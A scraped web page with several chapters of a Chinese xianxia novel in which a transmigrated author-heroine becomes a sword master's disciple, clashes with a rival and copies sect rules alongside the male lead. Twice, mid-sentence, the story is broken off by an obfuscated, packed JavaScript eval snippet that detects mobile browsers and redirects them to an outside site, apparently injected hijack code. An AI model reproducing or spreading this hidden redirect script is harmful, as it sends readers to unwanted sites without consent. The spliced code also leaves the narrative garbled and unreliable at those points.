谢寒霜冷笑了一声,道:“本届弟子招新大小事宜皆由许峰主裁决,先是秘境中出现妖兽腾蛇伤人,许峰主您说是自己老眼昏花,那不知此届弟子中有您亲族之女一事——” “许峰主可曾知晓?”谢寒霜抬眸,神色平静,看向许三清的目光中却是毫不掩饰的嘲弄。 “谢寒霜!你什么意思?!”许三清猛地一拍桌案,将桌上清茶打翻。 闻言,孟虞立即掐诀念咒,一道屏障自半空中落下,阻隔了台上之人的声音。 然而谢寒霜所言皆已传入了台下弟子耳中,一时间议论纷纷。 “亲族之女?说的是谁啊?” “不知道啊……” 众人你看看我,我看看你,大眼瞪小眼。 有人看向林恕,道:“师兄,你知道谢峰主说的是谁吗?” “这……” 林恕有些尴尬地看了眼许灵鸢,他自招新大会开始前便从自家峰主口中得知了许灵鸢的名字,亦知晓二人关系非比寻常。 只是没想到自家峰主为了让许灵鸢顺利拜入其门下,会将妖兽腾蛇放入秘境中,不顾其他弟子的性命安危。 唐棠顺着林恕的目光,看见了许灵鸢涨红的脸色。 许三清特意将妖兽腾蛇放入秘境中,本意是希望许灵鸢斩杀腾蛇,夺得魁首,再顺理成章地拜入其门下。 却不曾想到谢渊会先一步找拿到通关玉令。 片刻后,观礼台上的屏障散去,谢寒霜微微抬眸看向校场中的唐棠和谢渊,冷声道:“既然如此——” “我便收下一人为徒。” 唐棠看了眼面不改色的谢渊,心中顿时方寸大乱。 只收一个?那我怎么办?! 唐棠几乎已经断定谢寒霜会收谢渊为徒,在她一阵胡思乱想中,谢寒霜举起了手中的腰牌,腰牌中央清清楚楚刻着两个字——唐棠。 4. 朝露 唐棠根本没想到谢寒霜会收她为徒,在回过神来的时候,已经跟着师姐回了学舍,完全错过了和谢渊讲话的机会。 “师姐,谢峰主为什么要收我为徒呀?”唐棠一边换上凌霄宗的弟子服,一边问道。 “这话说的。”师姐替她理好翻折的衣领,笑道:“不是你自己说想拜谢峰主为师吗?” “哦……也是。”唐棠愣愣地点了点头,将换下的衣裙叠好。 “怎么还不高兴了呢?”师姐忽然兴起,捏了捏唐棠鼓鼓的脸颊,笑道:“走,带你去无忧峰见谢峰主。” “!!!”唐棠一脸震惊道:“为、为什么?我不是应该在学舍修习三个月吗?” 秘境试炼结束后弟子们便正式开始修行了,在此之前需要在学舍统一修习三月,再依据天赋修为拜入各峰峰主门下。 师姐摇了摇头,道:“你既夺得了魁首,自然应当随谢峰主修行,往后就不必来学舍了。” “不要哇,师姐……” 闻言,唐棠瞬间崩溃,死死抱住床柱不肯撒手。 她可不想承接下男主的剧情,受尽谢寒霜的凌虐。 见状,师姐也不多劝,坐在床榻上,幽幽道:“那看样子我只好一个人去拜见谢峰主了,若是问起也只好说师妹你不肯前去……” 不等话音落下,唐棠立马打断道:“哎别别别——我去!我去就是了!” * 没想到,时隔一日,唐棠又来到了无忧峰。 谢寒霜自殿内走出,一袭白衣,神色清冷,站在唐棠面前。 一股浓烈的酒气立刻窜入鼻间,唐棠心中腹诽,这是又喝多了?怕是方才在观礼台上喝的就不是茶…… “拜见……师尊。”唐棠双手交叠,微微俯身向谢寒霜行礼,眉眼间尽是不安。 许是读出了唐棠心中的情绪,谢寒霜道:“拜入我门下,可有不满?” “弟子不敢。”唐棠委屈道。 她只是想不明白为什么谢寒霜要收她为徒?明明谢渊才是男主啊…… 谢寒霜冷哼一声,上下打量着唐棠,道:“于你而言,修行绝非易事。从今日起,每日挥剑三千。” 谢寒霜冷淡的声音从头顶传来,唐棠满脸震惊地抬头,看见谢寒霜递来一柄剑,剑身细长,似有流光轻舞,一眼看去,便知此剑绝非凡品。 剑光流转间,“朝露”二字已映入唐棠眼中。 朝露是谢寒霜的佩剑之一。 唐棠迟迟不敢接剑。 她一个刚入门的弟子,哪里有资格碰这种品阶的灵剑? “此剑轻细,适合你修炼。” 谢寒霜声音放缓了些,再度将剑往前递了几分。 “是……”唐棠哆哆嗦嗦地接过了剑,颤声道:“从今天开始就要挥剑吗?” “从现在开始。”谢寒霜眸光湛湛,声音冷若冰霜:“若是每日三千都达不到,你也不必修行了。” “……” 我也不想修行啊…… 整整三日,唐棠都在无数次对着竹林挥剑,汗水自额角滑落,她也不敢抬手抹去,因为谢寒霜就坐在她身后的石桌前,一边喝酒一边看她。 “唰——” 猛然间挥出一道剑气,斩落竹叶无数,唐棠吓得愣住。 “三日了,你终于挥出了第一道剑气。” 谢寒霜自身后走来,轻握住唐棠的手,掌心温热。 “剑气?”唐棠不太解其意。 谢寒霜不答,只低声道:“闭眼。” 唐棠立马照做,合上双眼。 “屏气凝神。” 谢寒霜冷淡的声音传来,唐棠忽然感觉眉心一热,紧接着一股冰冷的气息蹿入体内,一瞬间,原本寂静无声的耳边忽然传来一阵风过竹林的声音。 听觉像是被无限放大了。 “听到了什么?” 耳侧传来谢寒霜的声音。 唐棠轻声道:“竹叶摇晃的声音。” “还有呢?”谢寒霜柔声询问道。 唐棠第一次从谢寒霜身上感觉到了师尊该有的耐心。 “还有……” 唐棠眉头微微蹙起,她听到了很轻很轻的剑鸣声,像是从千万年以前传来的一般,悠远绵长。 唐棠不大确定地答道:“剑鸣……?” 唐棠闭着眼睛,似乎听见谢寒霜轻笑了一声,手中长剑被接过,唐棠睁开眼,见谢寒霜回身走到石桌前。 “过来。” 唐棠立刻乖乖地走上前,站在谢寒霜面前,低头看着脚尖,余光撇向谢寒霜。 谢寒霜指尖轻叩桌案,示意唐棠坐下。 见唐棠坐下,谢寒霜端起酒盏,目光飘向远方,轻声道:“知道那剑鸣意味着什么吗?” 唐棠紧张地思绪飞转,想起原文中的设定,立刻举手喊道:“我知道!那剑鸣是凌霄宗开山之祖的本命剑发出的。” 古籍所载,凌霄宗初代先祖为了封印一只大妖,以神魂为祭,召出凌霄剑意,将大妖封印于凌霄山下,剑意千年不散,从人间遥望去,一柄金色巨剑横插于山间,以山体为剑鞘,长久不消散。 凌霄宗的宗徽也是因此得来的。 “我是问你知不知道那剑鸣声意味着什么,不是问你那剑鸣是什么。” 唐棠这次真真切切地看见谢寒霜笑了,唇角微微上扬,衬得眉眼都温柔了几分。 “那、那我不知道。” 唐棠装傻,其实她知道剑鸣声以及未消散的剑意都意味着大妖还没有彻底死去,她之所以不是是因为斩杀大妖是男女主该做的事,她可不想掺和。 谢寒霜看起来也是懒得解释,轻抿了一口酒盏中的酒,眉眼间染上了醉意,开口声音沉郁:“今日挥剑还差多少?” 唐棠不敢胡说,毕竟谢寒霜自早起一直盯着她习剑,便坦言道:“还差一千八百次。” 闻言,谢寒霜点了点头,将放在石桌上的朝露剑推向唐棠一侧,道:“明日起照旧,只不过我不再看顾了。今日……” 谢寒霜一顿,看向唐棠,“还挥得动吗?” 对上谢寒霜有些关切的目光,唐棠恶向胆边生,决定躲过今日的课业,开口撒娇道:“我手疼,师尊……” 言罢,还特意将手放到石桌上,露出腕上的伤。 那是前几日同谢渊入秘境时伤的,其实已经好得差不多了。 谢寒霜冷冷地看了眼唐棠,饮了一口酒。 唐棠被那一眼看得浑身发毛,畏畏缩缩地想悄悄收回手,却见谢寒霜从袖间掏出一精致小巧的白玉瓷瓶来。 “今日便罢了。”谢寒霜淡淡开口,将桌案上的瓷瓶推向唐棠,“外敷。每日两次,早晚各一次。” 唐棠一愣,接过了伤药,心底莫名对自己方才的行径感到愧疚。 “谢谢师尊。” * 离开了无忧峰时正值午时,唐棠从膳堂里拿了两个包子就溜了,还特地绕了远路前去学舍。 她要去找谢渊。 最好能想个法子把谢渊带回无忧峰,她可不想天天被谢寒霜盯着挥剑。 学舍位于静心峰,正是许三清所在的地方,新入门弟子的课业也都是由其教学。 一路上弯弯绕绕穿行过几处幽舍竹林,终于是看到了学舍一角。 唐棠咬着包子一路小跑过去,却见学舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362686|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内空无一人。 “没人……?”唐棠不解,凑到窗边向里面望去,忽然见窗口处一人低着头在纸上认真地书写着什么。 对方搁下笔时抬头,正撞上唐棠的目光,被吓了一跳,捂着胸口道:“唐棠?” 唐棠眉眼一弯,“你认识我?” “你夺得秘境魁首,还拜入无忧峰谢峰主门下。谁会不知道?” 唐棠见她笑着伸出手,“我叫宁岁安,和你同一届入门。” “你好!” 唐棠十分兴奋地回握住宁岁安的手,三天以来,她整日对着谢寒霜那冷淡到不正常的人,现在终于是见到了一个正常人。 “学舍怎么就你一个?其他人呢?”唐棠道。 宁岁安笑了笑,“现在是午膳时间,大家都去吃饭了。” “谢渊也去了?” 唐棠一边问,一边在心中暗骂:好你个谢渊!过得这么滋润!亏我还担心你吃不饱特意带了个包子给你!真是没良心的儿子! 却见宁岁安神情忽然变得有些尴尬,犹豫了片刻,才低声道:“谢渊他……被罚清扫学舍了……” “被罚?为什么?” 难道是学习不好?唐棠在心中猜测。 宁岁安面露难色,轻声道:“我、我也不知道……但是许峰主好像特别看不惯他,从入学舍第一日起,谢渊几乎不曾来上过课。” 凭什么?! 唐棠想起许三清那个老头,心底恨恨地暗骂。 “谢渊现在在哪你知道吗?” 宁岁安看了眼回廊,忽然指了指唐棠身后。 唐棠回头,看见了提着水桶,肩上还搭着抹布的谢渊。 颈上缠着的绷带渗出了星星点点的血迹,汗水自额角滑下,打湿了颈上的绷带,伤口传来轻微的灼痛感,谢渊忍不住微微蹙起眉头。 “谢渊!” 唐棠走上前,夺过他手中的水桶就往地板上一扔,木桶中的水洒了一地。 “你怎么在干这个?!”唐棠质问道。 谢渊看向唐棠,一双黑眸沉静的如同一口波澜不惊的古井,“峰主命我清扫学舍。” 语气平静,听不出丝毫恼意。 恰在此时,一道红色的身影自二人身边走过,轻飘飘地落下一句:“地上的水还不赶紧擦干净,要是惹恼了我叔父,当心你——” “凭什么?!”唐棠气急,大声喊道。 她早该想到的,她和谢渊抢了许灵鸢的风头,她随谢寒霜修行不会遇上许灵鸢和许三清,谢渊却入了学舍,那两个人自然要针对谢渊。 许灵鸢冷笑一声,“他犯了错被我叔父责罚,难道不对吗?” “他哪里做错了?!分明是你叔父故意将妖兽放入秘境,害得我们落入险境,我们不杀了妖兽,难不成等着你来救吗?!”唐棠一股脑将心中怨念尽数喊出,将上前拦她的谢渊一把推开,嫌恶道:“你想夺得魁首怎么不自己凭本事去抢?还要用这种下三滥的手段!” “你——”许灵鸢气得拔剑而起,厉声道:“一派胡言!” 言毕,提着剑就冲了上来。 唐棠也不遑多让,抽出剑反手格挡,两剑相交时几乎飞迸出火花。 力竭之时,唐棠只想着要将人推出去,腕上一用力,剑光闪过,许灵鸢被突如其来的剑气打飞了出去,倒在回廊上,呕出一口鲜血,随即昏死了过去。 唐棠看着倒在地上的许灵鸢没了动静,一时间感觉浑身血液都凝固了,脑中不自觉冒出一个可怕的念头:刚刚那道剑气是她挥出的吗?她这是……杀人了吗? 想到此,唐棠手中的长剑不受控制地“咣啷——”一声落到地上。 5. 罚跪 手中长剑落到地上,唐棠被吓得愣在原地,颤声道:“我、我不是故意的……” 学舍内的宁岁安扶起倒地不起的许灵鸢,探了探鼻息,柔声道:“没事,只是晕了过去——” 话音未落,回廊上乌泱泱涌上来一大群人。 “膳堂那烤包子真是一绝!” “那你也吃的太多了吧?慕容兄。” 几人行至回廊的转弯处,顿住了脚步。 “怎么了,慕容兄?吃的太多不方便行动了吗?” 身后之人不明情况,还在出言打趣,待看到回廊上晕过去的许灵鸢等人,皆停下了脚步。 “这、这是发生了什么?” 人群中传来一声呲笑,“这还看不出吗?有些人仗着背后有人便恣意妄为,这不受到制裁了吗?” “哪位英雄人物啊?竟然出手敢打伤许峰主的亲侄女?” 唐棠被吓得愣在原地,身后的谢渊俯身拾起了她的剑,握在手中。 不多时,身后传来一阵沉稳的脚步声,只见聚集起来的弟子忽地散开,从后方走来一人。 正是静心峰峰主许三清。 * “凭什么!” 自白日里冲动出手,打伤了许灵鸢,被许三清罚跪,直至夜幕降临,唐棠终于忍不住发出了第一声抱怨。 刚一喊完,唐棠立即用余光偷偷看向身旁同样被罚跪的谢渊。 他本来可以置身事外的,却捡了她的剑想替她顶罪。 奈何朝露剑并非弟子习剑,只一眼许三清便认了出来,将两人一同关到戒律堂面壁反省。 只见谢渊跪的笔直,墨发落在脸颊,衬得他脸色愈发苍白,双目紧闭,眉头轻锁,像是睡着了一样。 方才喊那么大一声都不见他睁开眼,真睡着了?跪着……也能睡着吗? 见谢渊毫无动静,唐棠小心翼翼地将膝下蒲团挪了挪,靠近了谢渊几分,月色缓缓流淌至谢渊眉眼间,似一截轻纱遮住了双眸,仿若天上仙神。 唐棠第一次这么近距离的观察一个人,还是曾经自己笔下的人物,文字幻化成现实的感觉很奇妙,唐棠心底泛起涟漪,鬼使神差地伸出手,戳了戳谢渊的脸颊。 那双紧闭的双眼忽地睁开,长睫轻颤,眸底闪着微光,看向了她。 似不染凡尘的上仙忽然垂怜世人,唐棠恍然失语,只看见那张唇色浅淡的薄唇轻启,一张一合,吐露出几个字来:“你在做什么?” “!!!” 唐棠猛地回过神来,收回了手,尴尬道:“我、我那个……今、今天天气不错啊哈哈哈……那什么,你饿不饿啊?” “我这还有个包子啊哈哈哈~”唐棠一边说一边伸手往袖间摸。 谢渊摇了摇头,声音沉缓:“我不饿。” “哦。”唐棠撇了撇嘴,低低地应声。 在袖间乱摸的手没能找到白日里留给谢渊的那个包子,反倒是摸到了谢寒霜给她的那瓶伤药。 唐棠轻叹了一口气,心想幸好谢寒霜下山去了,否则知晓她偷跑到学舍,还伤了人,怕是又免不了一顿凌虐。 谢渊看出唐棠情绪低迷,轻声道:“你怎么会来学舍?” 唐棠一愣,不知如何解释,忽然想到了谢寒霜给她的那瓶伤药,便从袖间掏出白玉瓷瓶递给谢渊,笑道:“师尊让我来给你送药。” 反正她的伤也好的差不多了,用不上这伤药,正好借花献佛,在谢渊这刷一波谢寒霜的好感度。 谢渊微微怔住,望着唐棠手中的白玉瓷瓶,迟迟没接过。 真是块木头!唐棠暗骂一声,将手中的伤药硬塞进谢渊手中,两手握住谢渊的手指,将冰凉的白玉瓷瓶包裹住,一字一顿道:“这可是师尊特意嘱托我给你送来的。” 谢渊看着手中微凉的白玉瓷瓶,正欲开口,戒律堂的门忽然被推开,木制门板相撞发出剧烈的声响,打断了二人的交谈。 “唐棠。” 冷冽如冰的声音传来,唐棠被吓得浑身一激灵,久久不敢回头。 纵使她不回头,也猜得到身后之人现在的表情,大抵是如往常一般冰冷的模样。 “起来。” 谢寒霜不多言语,只轻轻二字足以吓得唐棠腿软,根本不敢从地上爬起来。 谢寒霜怎么来这了?她不是下山去了吗?! 唐棠硬着头皮转过身,跪在谢寒霜面前,低声道:“师、师尊……” 忽然一阵急切的脚步声自门外传来,许三清掷地有声道:“谢寒霜!你有何资格擅闯戒律堂!” 话毕,许三清的身影出现在门口,“此等秉性不佳的顽劣弟子,出手伤了我门内弟子,罚跪一晚已是——” 不等许三清说完,谢寒霜已然侧首,看向许三清,冷笑了一声,道:“你门内弟子?秘境夺魁者才有资格先拜师,不知我眼前这二人谁拜入了您的门下,许三清峰主?” 唐棠指了指自己,又看了看谢渊,目光中有些惊讶。 许三清说的自然是许灵鸢,只不过唐棠和谢渊改变了剧情线导致许灵鸢并未夺魁,现如间的许灵鸢只是学舍中的一位修习弟子,三月后才有资格拜师。 许三清却先行默认了许灵鸢已入他门下,遭谢寒霜质疑,才猛然亦是到自己的错言。 自知口头上说不过谢寒霜,许三清便将手中的剑扔到地上,流光宛转的灵剑落到地上,发出短促轻脆的声响。 唐棠看见掉在地上的朝露剑,只觉得眼前一阵一阵地发黑。 谢寒霜将朝露剑给她是为了让她习剑,结果她却拿这柄剑伤了人。 这下好了,她怕是活不过今晚了…… 许三清沉声道:“此等品阶的灵剑岂是一个刚入门弟子能拿到的?谢峰主,你看顾弟子不严,让其盗取了此剑——” 唐棠不敢言语,只能在心中反驳:谁说是我偷的?!明明是谢寒霜给我的! “此剑并非盗取——”谢寒霜抬眸,道:“而是我允她的。若论责罚也该罚我吧,许峰主?只是……当年一个未战先怯的废物,也有资格审判我?” 闻言,在场众人除谢寒霜外都愣住了。 唐棠晃神间,忽然对上了谢寒霜带着冷意的目光,“你们两个打算跪到何时?还不起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362687|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “哦哦——”唐棠一边答应,一边起身,顺带拉上了跪姿笔挺的谢渊。 二人随谢寒霜离开戒律堂,身后传来许三清的怒喊声:“谢寒霜!你难不成想包庇你门下弟子不成?!” “我门内弟子犯错,我自会处置。”谢寒霜头也不回地冷声道:“还轮不到一个外人插手。” 唐棠拿着朝露剑紧跟在谢寒霜身后,看着谢寒霜清冷的背影,犹豫了片刻还是开了口,解释道:“师尊,我不是故意伤人的……” 是许灵鸢欺负人在先,她一时气不过才出手的,只是也没想到那种情形下会挥出一道剑气伤了对方。 谢寒霜不语。 圆月高悬,散发着泠泠寒光。 行至无忧峰的殿前,谢寒霜停下了脚步,唐棠只顾着低头走,险些撞上谢寒霜,堪堪停了下来,然后立刻向后撤了两步,同谢寒霜之间保持着一个安全的距离。 “唐棠。”谢寒霜看向她,眸光中冷意森然,“宗门律法第一百七十二条是什么,你可知?” “宗门律法第一百七十二条是、是……” 是啥来着?我、我怎么知道啊!我就是一金鱼脑袋啊…… 唐棠欲哭无泪,额角冷汗直冒,手中不自觉攥紧了朝露剑。 谢寒霜看了眼谢渊,冷声道:“你说。” “宗门内禁止弟子间私斗比武。”谢渊声音平缓沉稳,娓娓道来。 “你不知晓吗?”谢寒霜看向唐棠,声音愈发冷,无端而来地威压让唐棠感觉几乎要喘不上气来。 “现、现在知道了……”唐棠颤声道。 “明日去书阁将宗门律法的书卷誊抄交予我。”谢寒霜一字一顿,道:“今日之事,我不希望再有下一次。” 言毕,谢寒霜转身回了寝殿。 唐棠脑中还回荡着谢寒霜方才的话,忽然听见身侧的谢渊行礼,开口沉声道:“多谢峰主赐药。” 谢寒霜身姿微顿,侧首不解地看向了谢渊。 大哥,你怎么哪壶不开提哪壶?! 唐棠赶忙推走谢渊,生怕谢寒霜开口质问,打趣道:“哈哈哈没、没事……” 谢寒霜并未多言,回身往寝殿走去。 唐棠望着谢寒霜清冷的背影,小声道:“不就抄个书嘛?有什么难的……” 谢渊轻咳了一声,提醒道:“宗门律法共二十一册,每册三千条。” 唐棠脚下一个趔趄,险些摔倒,好在谢渊及时扶住了她。 “我要抄二十一本书?!”唐棠失声道。 “嗯。”谢渊神色平静,轻声应道。 在谢渊松手的一瞬,唐棠反手抓住了他手臂,道:“不行!你得帮我,谢渊……” 夜色渐深,月亮也躲在云后打起了盹,竹林间只有几簇飞舞的小虫子。 唐棠跟在谢渊身后亦步亦趋,苦苦哀求道:“求你了,谢渊。帮帮我吧……” “求求啦求求啦……” 清脆悦耳的少女声音随着一声轻笑飘散于温和的夜风中。 “好不好嘛,谢渊?” “嗯。” 6. 书阁 唐棠晨起时天都还没亮,打着哈欠穿好衣服,困得眼睛都睁不开,摸到门边开了门。 门外谢渊已等候多时,看见唐棠时微微怔住,“你……” “嗯?”唐棠迷迷糊糊睁开眼。 谢渊轻咳了一声,移开了视线,“没什么。” 唐棠低头,看了眼自己身上的鹅黄襦裙既没穿错也没穿反,一时不明白谢渊的意思。 今日要去书阁抄一整天的书,她可不想穿那身又紧又勒的弟子服,行动都不方便,遂换上了前几日的襦裙,裙带飘飘连带着整个人都神清气爽了。 书阁位于宗主孟虞所在的主峰上,位置偏又少有人前去,因此路不大好走。 昨夜下了场不大不小的雨,好在有条小径,穿行过桃林,没多久就能看到书阁了。 唐棠一双杏眸眨了眨,看见几乎可以用破败来形容的书阁,难以置信道:“这就是书阁?” “嗯。”谢渊点了点头,领唐棠上前去。 走近了些,唐棠看见了挂在檐角的咒言铃。 咒言铃顾名思义,是由咒言驱动的铃铛,风过无声,但当有非人者闯入此地咒言铃便会立刻响起,铃身上刻有的繁复咒文自行启动,将其困在书阁中,进退不得。 踏上有些年岁的木制台阶,尚未推开门,就听见里面传来一阵吵嚷声。 “你是不是又记错了?!你自己看看,这都对不上了!” “饶了我吧!我眼睛都看花了。” 谢渊十分有礼貌地敲了敲门。 “谁啊?!进进进!” 门内传来一阵不耐烦的声音,谢渊推开门,行礼道:“师兄。” 唐棠从谢渊身后探出头来,跟着谢渊一同行了礼,乖乖地喊道:“师兄好~” 只见两人埋首于桌案上,层层堆叠的纸张几乎将两人淹没。 其中一人抬头,道:“你们来书阁有何事?” 不等谢渊开口,唐棠先一步开口笑道:“我们是来找宗门律法看看的~你知道在哪吗?师兄。” 谢渊不知,唐棠此时心思飞转,正思量着如何拉上这两位师兄一起帮她抄书。 埋首于桌案的两人忽地一对视,另一人笑道:“宗门律法有什么好看的?若是有着般闲心思不如帮师兄清点一下名册?” 话毕,二人迅速起身,三笔并两步跑到唐棠和谢渊面前,一人拉住谢渊的手,另一人拉住唐棠。 二人异口同声道:“师弟师妹,清点本年度入门弟子名册的任务就交给你们二人了!” 唐棠看着两人几乎一模一样的面容和别无二致的行为,有些愣住,待思绪回笼之时两位双胞胎师兄已然逃离了书阁。 什么情况?!莫名其妙又要多抄一份书??? * “终于——”唐棠伸了个懒腰,幽幽道:“清点完了!” 唐棠将名册拍在桌案上,一脸骄傲道:“一共四百七十八人,和你刚刚数的一样!” “不对。”谢渊盘腿坐在她对面,闻言,抬手接过她手中的名册,道:“今年入门共有四百七十九人,少了一个人。” 唐棠一愣,见谢渊起身要走,“你干嘛?” 谢渊晃了晃手中名册,道:“去找师兄问问。” 唐棠立马起身将人拦住,“你别去啊!万一师兄让你再数一遍,我一个人怎么办?” 她可不想一个留在书阁抄书。 “你晚点再去,到时候就说数了一天,就是少一个人。师兄他们肯定也不会为难你的。” 唐棠微微仰起头,拽了拽谢渊袖口。 谢渊点了点头:“有道理。” 可算把人留下来了。 唐棠眉眼一弯,笑道:“走!我们去找找宗门律法!” 书架层层叠叠,散发着书卷特有的木香,唐棠站在书架前,手指从某一层缓缓划过,却没什么心思找书。 “谢渊,这书阁里有没有小说?”唐棠随口道。 “小说?”谢渊不解地声音从书架对侧传来。 “就是话本子一类的闲书。”唐棠解释道。 谢渊沉默了片刻,道:“应该没有。” 翻找了两层的确没见什么有意思的话本子,唐棠撇了撇嘴,又从新的一层开始,忽然手指掠过一本书,微微顿住,“修仙……纪事?” 名字听起来还蛮像话本子的。 “那是记载凌霄宗历年大事的。”谢渊一边在另一侧找宗门律法,一边解释道。 闻言,唐棠满心欢喜地将《修仙纪事》从书架上拿了下来。 对面的谢渊忽然道:“找到了。” 唐棠抬眸,二人拿的书正好是同一个书架的两侧,书架上空出两指宽的缝隙,视线相接的一瞬间,唐棠忽然听见自己疯狂跳动的心脏声。 不知怎么,唐棠下意识地拿起手中的书挡住脸,紧接着一个下蹲躲开了谢渊的视线。 “怎么了?”谢渊不解其意。 “没、没怎么……”唐棠顺着书架一路爬回桌案前,结巴道:“突然……腿抽筋了哈哈哈~” “要我帮你看看吗?”谢渊拿着两本宗门律法走来,缓缓道。 “不、不用。” 唐棠强装镇定地翻开了手中的书,心跳却迟迟不能平息,偏在此时,谢渊指节修长的手伸了过来,按住了她翻开的书页。 沉缓的嗓音仿佛摄人心魄的狐妖,一字一顿道:“不是抄书吗?” “……”心跳仿佛一瞬间停止跳动了。 唐棠面无表情道:“哦。” 一个时辰后。 谢渊微微抬眼,看见了趴在桌案上沉沉睡去的少女,窗户大开着,日光洒落在少女身上,为她镀了一层浅金色的光芒。 有风吹过,飞旋的桃花瓣不偏不倚正落到少女颊边,似是有些痒意,只见唐棠不安地挠了挠,遂又归于平静。 * 醒来时,窗外月色已至。 桌案上点着灯,不见弟子名册亦不见谢渊,唐棠迷迷糊糊喊了声:“谢渊?” 无人回应。 是去给师兄们送名册了吧? 唐棠脑袋还没清醒过来,干脆躺下,顺手扯过一条被子盖在了身上。 心想再睡会儿……等等,被子?书阁哪来的被子? 唐棠坐起来看见身上的“被子”,是一件崭新的凌霄宗弟子服。 谢渊天天都穿着他那身粗布黑衣,自然不会是他的。那是谁的?唐棠正思索着,门外忽然传来一阵响声。 有人拿着灯盏推门而入,唐棠下意识喊道:“谢渊!” 门口的黑影忽然一个哆嗦,被吓得缩回门外,半晌才探进来半颗脑袋,声音柔柔的喊道:“唐棠……” 学舍的宁岁安?唐棠歪了歪脑袋,她来干嘛? “我来找本医书……”宁岁安慢慢地从门外滑了进来,抵着门口站定。 唐棠见她害怕的模样,失笑道:“那你进来呀。要找什么医书?我帮你。” 见唐棠语气轻松,宁岁安这才松了口气,轻声道:“不、不用啦,我自己 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一只仓鼠叫咪咪,这是什么地狱笑话? 宁岁安颤声道:“我、我不是故意的,我不知道它是你养的……” 唐棠一把拉过宁岁安护在身后,挑眉道:“宗门内禁止弟子私养灵宠。你大半夜偷偷闯入书阁找自己的灵宠,不知此事静心峰峰主知晓吗?” 唐棠今日刚刚抄过几条宗门律法,其中就有一则明文规定禁止门内弟子私养灵宠。 弟子修行的路上除了会对上穷凶极恶的大型凶兽亦有表面上人畜无害、似灵宠一般小妖兽,若是本身养了灵宠,难免会对那些小妖兽心生怜悯,露了破绽。因此,凌霄宗才会禁止弟子养灵宠。 只见许灵鸢的脸色正如唐棠所预料的那般变得有些难堪,气得半天说不出话来。 直到书阁的门被人推开,在唐棠回头的一瞬间,许灵鸢故意撞向唐棠肩膀,然后一路跑出了书阁。 门口的谢渊有些茫然。 宁岁安快速地握了握唐棠的手,低声道了声谢,拾起自己的医术也离开了书阁。 “发生什么了?” 谢渊行至书桌前,将白日里抄完的两本宗门律法整理好。 唐棠耸了耸肩,道:“没什么。” 见唐棠不愿多说,谢渊也不再过问。 “这件弟子服是谁的?”唐棠拾起那件之前披在身上的弟子服问道。 “我的。” 谢渊接过弟子服,放在桌案上认认真真地叠好,道:“走吧。” “你先回去吧,我今日那册宗门律法还没抄完呢。” 言罢,唐棠作势就要坐回桌案前。 “我已经都抄完了。”谢渊将两侧抄完的书递给唐棠。 唐棠眼睛一亮,接过来翻开一看,整齐隽秀的字映入眼帘,惊讶道:“真的都抄完啦!” 谢渊没什么表情,只轻轻点了点头。 唐棠捧着那两本宗门律法,跟着谢渊满心欢喜地回了无忧峰。 二人穿行过无忧峰的竹林时撞见了倚竹而卧的谢寒霜,手中拿着精致的白玉酒壶,侧卧在一根粗壮的竹子上来回晃荡。 “师尊!”唐棠边喊边跑上前,恭恭敬敬地将手中抄完的两册书递给谢寒霜,“这是我今日抄的!请师尊过目!” 谢寒霜身上酒气未散,撇了一眼唐棠,漠然道:“今日习剑了吗?” 7. 落水 谢寒霜醉意朦胧的声音传来,“今日习剑了吗?” “嗯,今日晨起就习过剑了。” 一双杏眸无辜地眨了眨,唐棠看似镇定自若,实则内心已经紧张到了极点,当谢寒霜微微侧首,带有凉意的双眸看向她时,唐棠下意识避开了。 她现在根本不敢直视谢寒霜的眼睛。 唐棠回首,指着站在不远处的谢渊道:“谢渊和我一起练的剑。” 谢寒霜起身,原本被压弯的竹子忽地失了势,弹起时带动一阵猛烈的风,从耳边刮过时,唐棠忍不住轻轻打了个冷颤。 好在谢寒霜并未看她,漠然地望向谢渊,冷声道:“你们今日一起习剑了?” 月亮忽然隐匿入了云层后,谢渊被竹影包围,困在一片黑暗中,看不清楚神情。 唐棠忽然有些后悔,照谢渊那个木头性格指定不会帮她撒谎骗谢寒霜。 唐棠回头看向谢寒霜,正欲开口忽然听见身后谢渊沉稳的声音,“回禀峰主,今日卯时我与唐棠一同习剑。” 唐棠有些惊讶,木头……开窍了? “未经峰主允许擅自闯入无忧峰,弟子知错。”谢渊自阴影中走出,行礼道:“请峰主责罚。” “……”大哥!你一天到晚都只想着挨打吗?! 唐棠生怕谢寒霜真的召出龙骨长鞭,赶忙道:“师尊!是我让谢渊来陪我的,因为我一个人习剑太无聊了……” 唐棠越说声音越低,一副害怕又委屈的模样,拿捏住了谢寒霜的软肋。 见谢寒霜冰冷的神情松动,唐棠趁热打铁,打算让谢寒霜正式收下谢渊为徒,道:“师尊,你就让谢渊留在无忧峰好不好?他陪我一起练剑,这样说不定我还能进步得快一点!” 谢寒霜没答应,但也没拒绝,反倒转移了话题,道:“唐棠,你说修道之人是为了什么修行?” 唐棠一愣,苦思了片刻,犹豫道:“诛邪斩恶拯救苍生?” 闻言,谢寒霜微微俯身,靠近了唐棠几分,“说的不错。但你若是有其他心思……” 说到心思二字,谢寒霜的目光透过唐棠看向了她身后的谢渊,冷笑了一声。 “无忧峰没有多余的住处,你若是想留便留。” 言罢,谢寒霜转身离开,只留下一道清冷的背影。 * 唐棠回了住处,关上门却并未走开,倚靠在门板上回想着谢寒霜今日所言。 